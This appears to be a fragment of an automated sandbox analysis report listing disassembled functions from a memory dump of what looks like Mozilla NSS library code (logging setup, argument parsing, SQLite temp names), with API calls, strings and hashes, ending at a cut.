Part of subcall function 6C991240: TlsGetValue.KERNEL32(00000040,?,6C99116C,NSPR_LOG_MODULES), ref: 6C991267
Part of subcall function 6C991240: EnterCriticalSection.KERNEL32(?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C99127C
Part of subcall function 6C991240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C991291
Part of subcall function 6C991240: PR_Unlock.NSS3(?,?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C9912A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C991DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C991E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C991EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C991ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C991EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C991F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C991F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C991F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C991F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C991F83
PR_SetLogFile.NSS3(00000000), ref: 6C991FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C991FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C991FCB
free.MOZGLUE(00000000), ref: 6C991FD2

Strings

, %n, xrefs: 6C991E6B
sync, xrefs: 6C991E46
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C991E27
append, xrefs: 6C991EE6
bufsize, xrefs: 6C991E9B
Unable to create nspr log file '%s', xrefs: 6C991FB3
timestamp, xrefs: 6C991EC4
NSPR_LOG_FILE, xrefs: 6C991F69
NSPR_LOG_MODULES, xrefs: 6C991DAD
all, xrefs: 6C991F0E

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 5bc7263162cf8152b3b4191295b7b4e3f13c3fcf3096d03f6dc71c9ed7c6a993
Instruction ID: eb96da480e4d19efea77cbc0dfc859b6ea2bbfd248cdac6bd7032c4892140ead
Opcode Fuzzy Hash: 5bc7263162cf8152b3b4191295b7b4e3f13c3fcf3096d03f6dc71c9ed7c6a993
Instruction Fuzzy Hash: FF517DB1E042099BDF009BE5DD48A9E77BCBF1634DF0C4528E816ABA40E774E598CB91

Function 6C9B39F0 Relevance: 42.4, APIs: 23, Strings: 1, Instructions: 439memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C9B5E6F,?), ref: 6C9B3A08

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C9B5E6F), ref: 6C9B3A1C

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

SECITEM_CopyItem_Util.NSS3(00000000,00000014,6C9B5E83), ref: 6C9B3AB0
SECITEM_CopyItem_Util.NSS3(00000000,00000038,6C9B5E87), ref: 6C9B3AEA

Part of subcall function 6C9FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB85
Part of subcall function 6C9FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9FFBB1

SECITEM_CopyItem_Util.NSS3(00000000,00000014,6C9B5E63), ref: 6C9B3B03
SECITEM_CopyItem_Util.NSS3(00000000,00000020,6C9B5E6F), ref: 6C9B3B1C

Part of subcall function 6C9FFB60: PORT_Alloc_Util.NSS3(E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB9B

SECITEM_CopyItem_Util.NSS3(00000000,-00000020,6C9B5E4F), ref: 6C9B3BF2
memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9B3A3C

Part of subcall function 6C9E1B10: TlsGetValue.KERNEL32(00000000,?,6C9B3147,?,?), ref: 6C9E1B41
Part of subcall function 6C9E1B10: EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9B3147,?,?), ref: 6C9E1B51
Part of subcall function 6C9E1B10: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9B3147), ref: 6C9E1B7C
Part of subcall function 6C9E1B10: PR_SetError.NSS3(00000000,00000000), ref: 6C9E1B94

PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C9B5E6F), ref: 6C9B3A79
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?), ref: 6C9B3AC9
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C9B3AD7
PK11_DestroyObject.NSS3(?,?), ref: 6C9B3C1B
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C9B3C40

Strings

security, xrefs: 6C9B3B6A

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$CopyItem_$Arena$Alloc_Arena_ErrorValue$CriticalEnterFreeSectionUnlock$AllocateDestroyInitK11_LockObjectPoolcallocmemcpymemset
String ID: security
API String ID: 2104508105-3315324353
Opcode ID: 428f2b0383e51b07f2a94b16f1b3baf2a134bd591b352b2695a6d701fd52bef2
Instruction ID: e59c0835507a5993f78edf321a73be9b13375275547e98dc74c9d802084e5963
Opcode Fuzzy Hash: 428f2b0383e51b07f2a94b16f1b3baf2a134bd591b352b2695a6d701fd52bef2
Instruction Fuzzy Hash: DEE182B1A00201BBEB11DF65DC45FAB77B8BF2874CF044529ED09AAA52FB31E518C761

Function 6CA76E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C92CA30: EnterCriticalSection.KERNEL32(?,?,?,6C98F9C9,?,6C98F4DA,6C98F9C9,?,?,6C95369A), ref: 6C92CA7A
Part of subcall function 6C92CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C92CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C93BE66), ref: 6CA76E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C93BE66), ref: 6CA76E98
sqlite3_snprintf.NSS3(?,00000000,6CADAAF9,?,?,?,?,?,?,6C93BE66), ref: 6CA76EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C93BE66), ref: 6CA76ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C93BE66), ref: 6CA76EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C93BE66), ref: 6CA76F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C93BE66), ref: 6CA76F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C93BE66), ref: 6CA76F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C93BE66), ref: 6CA76FA6
sqlite3_snprintf.NSS3(?,00000000,6CADAAF9,00000000,?,?,?,?,?,?,?,6C93BE66), ref: 6CA76FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C93BE66), ref: 6CA76FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C93BE66), ref: 6CA76FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C93BE66), ref: 6CA77014
sqlite3_free.NSS3(00000000,?,?,?,?,6C93BE66), ref: 6CA7701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C93BE66), ref: 6CA77030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C93BE66), ref: 6CA7705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C93BE66), ref: 6CA77079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C93BE66), ref: 6CA77097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C93BE66), ref: 6CA770A0

Strings

winGetTempname2, xrefs: 6CA770C4
winGetTempname5, xrefs: 6CA77071
winGetTempname4, xrefs: 6CA77046
mz_etilqs_, xrefs: 6CA76F18
winGetTempname1, xrefs: 6CA7708F

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 44e91ba53fd96b4649cdb8a4964474ee7f7b1691d57301e6a6fe4559e3ce4fa6
Instruction ID: d25fe2cdec6f191e2420fb188d267120efd2265b1daac2bc06768e87f80d4742
Opcode Fuzzy Hash: 44e91ba53fd96b4649cdb8a4964474ee7f7b1691d57301e6a6fe4559e3ce4fa6
Instruction Fuzzy Hash: 2B518C75B102111BE7215630AC55FBB362AAFA2318F184538E845D7BC1FB39D98E82F2

Function 6CA04FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000,00000000,00000001), ref: 6CA05009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6CA05049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA0505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CA05071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA05089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA050A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CA050B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2), ref: 6CA050CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA050D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA050F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA05103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA0511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA0512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA05145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA05153
free.MOZGLUE(?), ref: 6CA0516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CA0517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA05195

Strings

config=, xrefs: 6CA0509B
nss=, xrefs: 6CA05083
library=, xrefs: 6CA05043
name=, xrefs: 6CA05057
parameters=, xrefs: 6CA0506B

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: cc6be0d0199fa10bdf8fa44fb325ac0fb919aa9e9dc4c86e1f15a81bc53c1c96
Instruction ID: 4cacbe5cd58a3587b81c423f07b36d809564dbac1d5497e6ad993acad5679f2a
Opcode Fuzzy Hash: cc6be0d0199fa10bdf8fa44fb325ac0fb919aa9e9dc4c86e1f15a81bc53c1c96
Instruction Fuzzy Hash: AA5185B5B012065FEB14DF25ED41AAE37A8AF0528CF180020EC55E7B42E735E959CBB6

Function 6CA04C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C9F4F51,00000000), ref: 6CA04C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C9F4F51,00000000), ref: 6CA04C5B
PR_smprintf.NSS3(6CADAAF9,?,0000002F,?,?,?,00000000,00000000,?,6C9F4F51,00000000), ref: 6CA04C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C9F4F51,00000000), ref: 6CA04CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA04CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA04CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA04D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C9F4F51,00000000), ref: 6CA04D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C9F4F51,00000000), ref: 6CA04D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CA04D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CA04DA2
free.MOZGLUE(?), ref: 6CA04DB9
free.MOZGLUE(00000000), ref: 6CA04DCF

Strings

0x%08lx=[%s %s], xrefs: 6CA04D80
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CA04D9D
%s,%s, xrefs: 6CA04C4B
rootFlags, xrefs: 6CA04D47
any, xrefs: 6CA04C96
every, xrefs: 6CA04CA1
rust, xrefs: 6CA04D22
slotFlags, xrefs: 6CA04D34
timeout, xrefs: 6CA04C91
ootT, xrefs: 6CA04D1A

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: c1961c8d2d4783dabe9d89a1658795da5019fa96247b24d155d425a582cf3efd
Instruction ID: 9f8fd4638b99c8110434cb9061c3a8189660c584288c2dae0d77b308df27dc33
Opcode Fuzzy Hash: c1961c8d2d4783dabe9d89a1658795da5019fa96247b24d155d425a582cf3efd
Instruction Fuzzy Hash: 92417DB1A002456BDB116F19BC446BB3A75BFA238CF098128EC155BB01E735E9E5C7D3

Function 6C9E6910 Relevance: 38.6, APIs: 15, Strings: 7, Instructions: 131COMMON

Download Yara Rule

APIs

NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C9E6943

Part of subcall function 6CA04210: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,F43318B3,flags,?,00000000,?,6C9E5947,flags,printPolicyFeedback,?,?,?,?,?,?,00000000), ref: 6CA04220
Part of subcall function 6CA04210: NSSUTIL_ArgGetParamValue.NSS3(?,6C9E5947,?,?,?,?,?,?,00000000,?,00000000,?,6C9E7703,?,00000000,00000000), ref: 6CA0422D
Part of subcall function 6CA04210: PL_strncasecmp.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9E7703), ref: 6CA0424B
Part of subcall function 6CA04210: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9E7703,?,00000000), ref: 6CA04272

NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C9E6957
NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C9E6972
NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C9E6983

Part of subcall function 6CA03EA0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(8914C483,70E85609,6C9DC79F,?,6C9E6247,70E85609,?,?,6C9DC79F,6C9E781D,?,6C9DBD52,00000001,70E85609,D85D8B04,?), ref: 6CA03EB8

PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C9E69AA
PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C9E69BE
PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C9E69D2
NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C9E69DF

Part of subcall function 6CA04020: isspace.API-MS-WIN-CRT-STRING-L1-1-0(FFFFEF69,00000000,?,?,754C4C80,?,6CA050B7,?), ref: 6CA04041

free.MOZGLUE(00000000), ref: 6C9E69F6
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6C9E6A04
free.MOZGLUE(00000000), ref: 6C9E6A1B
NSSUTIL_ArgFetchValue.NSS3(-0000000B,?), ref: 6C9E6A29
free.MOZGLUE(00000000), ref: 6C9E6A3F
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6C9E6A4D
NSSUTIL_ArgStrip.NSS3(?), ref: 6C9E6A5B

Strings

keyPrefix=, xrefs: 6C9E69CC
certPrefix=, xrefs: 6C9E69B8
flags, xrefs: 6C9E6937, 6C9E6942, 6C9E6956, 6C9E696D
nocertdb, xrefs: 6C9E6951
nokeydb, xrefs: 6C9E6968
configdir=, xrefs: 6C9E69A4
readOnly, xrefs: 6C9E693D

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: L_strncasecmpValuefree$FetchFlag$Stripisspace$ParamParameterSkipstrlen
String ID: certPrefix=$configdir=$flags$keyPrefix=$nocertdb$nokeydb$readOnly
API String ID: 2065226673-2785624044
Opcode ID: 0858b713b4b7095eef02cf2905d7e3d0648803d6ba9f8d61a2e7acd07c6065f2
Instruction ID: 7ed27299829467762af3f388f4ea4ca5f9c432934a03bdaedd52cfa09c8aa570
Opcode Fuzzy Hash: 0858b713b4b7095eef02cf2905d7e3d0648803d6ba9f8d61a2e7acd07c6065f2
Instruction Fuzzy Hash: D84181B1E403096BE7009F75BD81B5B77ACAF2924CF154420EA15E6B02F735DA98C7A1

Function 6C9ADDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C9ADDDE

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C9ADDF5

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C9ADE34
PR_Now.NSS3 ref: 6C9ADE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C9ADE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9ADEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C9ADEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C9ADED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C9ADEF0
PR_smprintf.NSS3(6CADAAF9,(NULL) (Validity Unknown)), ref: 6C9ADF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9ADF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C9ADF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9ADF33
free.MOZGLUE(00000000), ref: 6C9ADF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9ADF4B
free.MOZGLUE(00000000), ref: 6C9ADF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9ADF8E

Strings

{???}, xrefs: 6C9ADE8B
(NULL) (Validity Unknown), xrefs: 6C9ADEFA
%s%s, xrefs: 6C9ADEEB

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 98f7d20ec4dbbd9fbb79aaae0709746cd6f8a13c3ab2e9058e2b6c81c5aa5d74
Instruction ID: ba3eebe2f3d23c3044d8de58888733a81b91b045ec3dbe300ae77e5422209077
Opcode Fuzzy Hash: 98f7d20ec4dbbd9fbb79aaae0709746cd6f8a13c3ab2e9058e2b6c81c5aa5d74
Instruction Fuzzy Hash: 6451C6B2E001059BDB10DFA59D41AAF7BB9AF99358F144028EC09E7B00E730D956CBE1

Function 6C9D08F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

